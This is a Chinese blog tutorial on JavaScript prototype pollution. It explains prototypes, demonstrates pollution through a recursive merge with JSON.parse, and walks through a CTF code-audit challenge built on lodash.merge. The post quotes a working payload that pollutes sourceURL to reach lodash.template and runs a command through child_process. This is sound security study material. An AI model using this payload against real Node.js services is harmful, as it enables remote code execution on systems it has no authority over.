JavaScript原型链污染

决定我们成为什么样的人,不是我们的能力,而是选择。

这个内容在没入门的时候,就听说过,当时只是草草看了下,知道了这个概念;当我入了门,走了几步后,整好碰到了这样的题目,当时又是了解不深入,只是懂了一丁点,会用payload;现在是第三次了,不说深入地探究透彻,只求能够弄清晰一点。当别人问我这什么东西时,能够说上一两句。

在写之前再说两句,JavaScript和Java并没有关系,语法和使用也可以说是完全不同的。但它之所以叫JavaScript,是因为发明者所在公司的老板极度推崇Java,为了攀上当时如日中天的Java,那老板就把这个浏览器所使用的解释型语言命名为JavaScript。u1s1,这个称呼在之前搞得我晕头转向,直到最近一段时间,了解了一下历史才明白了。

原型与原型链

JavaScript 是一门面向对象的语言,但是在ES6规范之前,JavaScript中没有class语法。虽然ES6中引入了class关键字,但那只是语法糖,JavaScript 仍然是基于原型的。

原型

原型的定义:原型是JavaScript中继承的基础,JavaScript的继承就是基于原型的继承

  1. 所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型)
  2. 所有函数拥有prototype属性(显式原型)

JavaScript中的每个函数都有一个prototype属性,它指向通过该构造函数创建的实例对象的原型。同时,每个实例对象也都有一个__proto__属性用来指向实例对象的原型。实例对象的 __proto__ 与创建该实例对象的构造函数的prototype是相等的。

用图来理解的话,就是下面这样。

而且,每个原型对象都有一个constructor属性,指向相关联的构造函数,所以构造函数和构造函数的prototype是可以相互指向的。实例对象也可以访问constructor属性指向其构造函数。

原型链

在JavaScript中,如果想访问某个属性,首先会在实例对象(test)的内部寻找,如果没找到,就会在该对象的原型(test.__proto__,即 Test.prototype)上找。我们知道,对象的原型也是对象,它也有原型,如果在对象的原型上也没有找到目标属性,则会在对象的原型的原型(Test.prototype.__proto__)上寻找。以此类推,直到找到这个属性或者到达了最顶层(null),根据定义,null没有原型,是原型链最后一个环节。在原型上一层一层寻找,这就是原型链。

实例对象原型的原型是Object.prototype,而它的原型是null,null 没有原型,所以 Object.prototype 就是原型链的最顶端。

JavaScript中的所有对象都来自Object,Object 位于原型链的最顶端,几乎所有 JavaScript 的实例对象都是基于 Object。

原型链污染

在JavaScript中,访问一个对象的属性可以用a.b.c或者a[“b”][“c”]来访问。因为对象是无序的,当使用第二种方式访问对象,只能使用指明下标的方式去访问。所以,可以通过a[“__proto__“]去访问其原型对象。

在一个js应用中,如果攻击者控制并修改了一个对象的原型,那么将会影响所有和这个对象来自同一个类、父祖类的对象。跟水资源污染有点一样,源头被污染了,其下面的河流都将被污染,难怪用污染这个修饰词。

1
2
3
4
5
6
7
8
9
10
11
12
function Father(){
this.name = 'father';
}
function Son(){
this.name = 'son';
}
Son.prototype = new Father(); //将Son的原型设为Father

var son = new Son();
Father.prototype['money'] = 100;//给Father原型添加属性
console.log(son.name);
console.log(son.money);

在上面代码中,有两个函数,Son的原型为Father,可以看作是Son继承自Father。因为Son函数有name这个属性,所以son.name有输出;Son函数在定义的时候,没有money这个属性,但son.money仍有输出,是因为我们给Father的原型增加了一个money属性。当输出son.money时,js发现Son没有该属性,就去Father中寻找,还找不到,就去Father原型中找,这里找到了添加的money属性,就会输出。

利用手段

存在可控的对象键值时,代码中有以下几种情况:

  1. merge等对象递归合并操作
  2. 对象克隆
  3. 路径查找属性然后修改属性

merge常见代码如下,可以说是代码审计的一个标志。

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

在合并的过程中,存在赋值的操作target[key] = source[key]。那么,这个key如果是__proto__,是不是就可以原型链污染?

用下面的代码进行实验:

1
2
3
4
5
6
7
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

我们可以看到结果,虽然合并成功了,但原型并没有被污染。

这是因为用JavaScript创建o2的过程(let o2 = {a: 1, “__proto__“: {b: 2}})中,__proto__已经代表o2的原型了,是o2的一个属性。此时遍历o2的所有键名,拿到的是[a, b]。这里的__proto__不是一个key,自然也不会修改Object的原型。

要想让__proto__被认为是一个键名,需要使用JSON.parse函数。

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可以看到,新建的o3对象,也存在b属性,说明Object已经被污染。

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见的可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

例题

这里是选择p神出的thejs

先下源码,需要用git clone https://github.com/phith0n/code-breaking将整个codebreaking下载,不然权限有问题。下载好,然后docker部署环境。

前端那个页面只是一个提交编程语言和ctf类别,其他什么都得不到。

这是一个代码审计题目,这里默认是可以看源码的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16), // 随机数
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 定义模板引擎
fs.readFile(filePath, (err, content) => { //读文件 filepath
if (err) return callback(new Error(err))
let compiled = lodash.template(content) //模板化
let rendered = compiled({...options}) //动态引入变量

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
//定义session
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') { //获取post数据
data = lodash.merge(data, req.body) // merge 合并字典
req.session.data = data //合并后赋值给session
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

整个应用逻辑为,将用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

我们可以看到比较敏感的merge函数,还存在可控点req.body。但req.body仅仅是提交数据的一个点,我们还要知道要怎样去构造数据。

我们在提交post数据之后,app.engine会在请求之后进行渲染。进行渲染那段代码中,它调用了lodash.template这个函数。

跟进lodash/template.js。

可以看到options是一个对象,sourceURL取到了其options.sourceURL属性。sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。

1
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。

继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中。紧接着渲染模版,就可以成功执行代码,造成任意代码执行漏洞。

1
2
3
4
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

下面是p神的payload:
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

  • 因为在渲染时会将sourceURL直接拼接到页面中,但前面有个注释,通过\n就可以bypass掉。
  • child_process是一个子进程模块,可以用来执行命令并返回结果。global.process.mainModule.constructor._load是为了加载这个模块。
  • 前面的return e … delete …,看别人说是用完之后删除原型键值对,但删除完,payload就不能用了…,也就不管了。

在实际post传值的时候,要注意把Content-Type改为json形式的,来让__proto__作为键名,而非属性。

参考

[1] 继承与原型链

[2] 浅析javascript原型链污染攻击

[3] JavaScript 原型链污染

[4] 深入理解JavaScript Prototype污染攻击

[5] JavaScript学习小结

[6] Node.js 常见漏洞学习与总结